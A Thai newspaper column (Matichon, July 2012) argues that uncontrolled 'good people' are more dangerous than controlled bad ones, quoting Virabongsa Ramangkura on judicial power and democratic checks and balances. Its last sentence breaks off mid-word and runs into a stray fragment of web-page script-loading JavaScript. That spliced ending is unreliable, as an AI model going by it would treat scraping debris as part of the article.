มติชนรายวัน ฉบับประจำวันพุธที่ 25 กรกฎาคม 2555

 

          “คนดีที่ควบคุมไม่ได้ อันตรายกว่าคนไม่ดีที่ควบคุมได้

          เป็นข้อความที่มีผู้ปรารถนาดีจดแล้วจำมาบอก จากคำอภิปรายของ อ. นิธิ เอียวศรีวงศ์ ที่ ม. ธรรมศาสตร์ ท่าพระจันทร์ ช่วงต้นเดือน มิ.ย. 2555 ที่ผ่านมา

          ได้ยินแล้วผมจำโดยไม่จด แต่ยกมาเขียนเป็นกลอนอีกทอดหนึ่ง ลงในมติชน (วันอาทิตย์ 10 มิ.ย. 2555) ดังนี้

          คนดีที่ควบคุมไม่ได้              เป็นภัยกว่าคนไม่ดีที่คุมอยู่

          ท่องพุทโธ ธัมโม สังโฆพรู      ต้องรีบรู้เท่าทันอันตราย

          ต่อมารู้จักคนดี-คนเลว พร้อมคำอธิบายเพิ่มอีกเมื่ออ่านบทความเรื่องตุลาการในระบอบประชาธิปไตยของวีรพงษ์ รามางกูร (พิมพ์ในประชาชาติธุรกิจ ฉบับจันทร์ที่ 2-พุธที่ 4 ก.ค. 2555 น. 32) จะคัดมาเผยแพร่ให้กว้างขวางออกไปอีก ดังนี้

          โดยทั่วไปสังคมยอมรับว่าผู้พิพากษาเป็นกลุ่มบุคคลที่เป็น ‘คนดี’

          แต่ก็มีภาษิตทางรัฐศาสตร์อยู่เหมือนกันว่า ‘คนดีที่ควบคุมไม่ได้ อันตรายเสียยิ่งกว่าคนเลวที่ควบคุมได้’

          เรื่องนี้เคยพิสูจน์มาแล้วจากประวัติศาสตร์ในยุคที่บ้านเมืองเคยถูกปกครองโดยคนที่ประชาชนนึกว่าเป็นคนดี ผู้ที่ถือค้อนนานๆ เข้าก็จะเห็นศีรษะของมนุษย์เป็นหัวตะปูไปหมด ถ้าไม่มีการควบคุมหรือถ่วงดุล

          อำนาจทุกอย่างจึงต้องมีการควบคุมและถ่วงดุล การควบคุมและการถ่วงดุลจึงเป็นหลักสำคัญอย่างหนึ่งของการปกครองในระบอบประชาธิปไตยและการบริหารประเทศทุกระดับ

          เราควรจะตรวจสอบดูว่าองค์กรทุกองค์กรมีระบบถ่วงดุลและควบคุมเพียงพอหรือไม่ ไม่ควรคิดว่า ‘ถ้าเลือกคนดีทุกอย่างก็จะดีเอง’ อย่างที่บางคนชอบพูดฟังดูดี แต่ไม่สู้จะมีประโยชน์ กลับไปทำให้สังคมคิดผิดๆ และหลงทาง ไม่สนใจระบบและโครงสร้างของอำนาจ ไปสนใจหาคนดีหรือทำคนให้ดีเท่านั้น ซึ่งเป็นไปไม่ได้

          พระพุทธเจ้าและพระศาสดาองค์อื่นพยายามมากว่า 2-3,000 ปีแล้วก็ยังทำไม่ได้

          มาสนใจระบบดีกว่าว่าจะสร้างอย่างไร จึงจะควบคุมทั้งคนดีและคนไม่ดี ไม่ให้เอาคุณค่าและความคิดของตนไปใช้อำนาจบังคับให้คนอื่นต้องคิดตาม

          ขณะนี้ทั้งโลกยอมรับกันแล้วว่า ‘ระบอบประชาธิปไตยเป็นระบอบที่เลวน้อยที่สุด’ เพราะเป็นระบบที่สามารถเปลี่ยนผู้ปกครองได้โดยสันติวิธี สามารถควบคุมตรวจสอบและถ่วงดุลได้ไปในตัว ไม่มีชนชั้นใดโง่หรือฉลาดกว่าชนชั้นใด

          ขณะนี้คนชนบทไม่มีแล้ว มีแต่คนเมืองกับคนต่างจังหวัดเท่านั้น เพราะโครงสร้างเศรษฐกิจรายได้ ระบบสื่อสารมวลชน เทคโนโลยีได้เปลี่ยนโลกใบนี้ให้แตกต่างจากเมื่อ 20-30 ปีก่อนไปแล้ว

          องค์กรที่ใช้อำนาจรัฐทั้งหลายควรจะเลิกสับสนเสียทีว่าตนเป็นเพียงผู้ใช้อำนาจรัฐแทนใครและเพื่อใคร ควรตระหนักได้ว่าอำนาจอธิปไตยเป็นของประชาชน เพื่อประชาชน และโดยประชาชน

          ผู้ที่ต้องเปลี่ยนแปลงความคิดมากที่สุด อาจจะเป็นตุลาการนั่นเอง

          บทความที่คัดมาทั้งหมดของ ดร. โกร่ง วีรพงษ์ เมื่ออ่านแล้วผมจินตนาการถึงชาวบ้านทั่วไปเมื่อเห็นคนโกนหัวห่มผ้าเหลือง ก็เชื่อทันทีว่าเป็นคนดีโดยไม่คิดสงสัย แล้วกราบไหว้ด้วย “ศรัทธานำปัญญา” กว่าจะรู้ตัวว่าถูกหลอกก็เสียหายนับไม่ได้

          สื่อและครูบาอาจารย์จำนวนหนึ่งก็ไม่ต่างกัน ชาวบ้านเคยหลงผิดคิดว่าเป็นคนดีif (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s);